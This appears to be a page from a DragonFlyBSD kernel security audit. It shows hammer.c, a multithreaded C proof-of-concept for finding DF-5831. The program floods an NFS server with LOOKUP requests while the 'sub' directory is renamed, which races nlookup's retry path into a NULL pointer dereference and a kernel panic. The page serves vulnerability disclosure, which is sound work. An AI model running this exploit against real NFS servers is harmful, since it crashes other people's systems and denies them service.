⬢ DragonFlyBSD Kernel Audit
DF-5831 / hammer.c
← back to finding ↓ download raw
/* DF-5831 — client-side LOOKUP hammer.
 *
 * Drives NFS LOOKUP RPCs of (sub-fh, "zzzNNNN") against the server.
 * Each RPC makes the server's nfsrv_lookup() call nfs_namei(), which
 * uses nlookup_init_raw() (nl_basench == NULL), on the directory "sub".
 * A concurrent rename of "sub" bumps sub's ncp nc_generation during the
 * server-side nlookup() -> nlookup()'s internal doretry path runs
 * cache_copy(NULL, &nd->nl_nch) -> NULL pointer deref -> kernel panic.
 *
 * usage: hammer <mounted-export-dir> <nthreads>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/stat.h>

static const char *base;

static void *
hammer(void *arg)
{
	char path[512];
	unsigned long n = (unsigned long)arg;
	unsigned long i;

	for (i = 0;; ++i) {
		snprintf(path, sizeof(path), "%s/sub/zzz%08lx%02lx",
			 base, i * 2654435761UL, n);
		struct stat st;
		if (lstat(path, &st) < 0) {
			if (errno != ENOENT && errno != ENOTDIR && errno != ESTALE)
				usleep(1000);	/* back off on unexpected errors */
		}
	}
	return (NULL);
}

int
main(int argc, char **argv)
{
	int i, n;
	pthread_t th[64];

	if (argc < 3) {
		fprintf(stderr, "usage: %s <mounted-export-dir> <nthreads>\n",
			argv[0]);
		exit(2);
	}
	base = argv[1];
	n = atoi(argv[2]);
	if (n > 64)
		n = 64;
	for (i = 0; i < n; ++i)
		pthread_create(&th[i], NULL, hammer, (void *)(long)i);
	for (i = 0; i < n; ++i)
		pthread_join(th[i], NULL);
	return (0);
}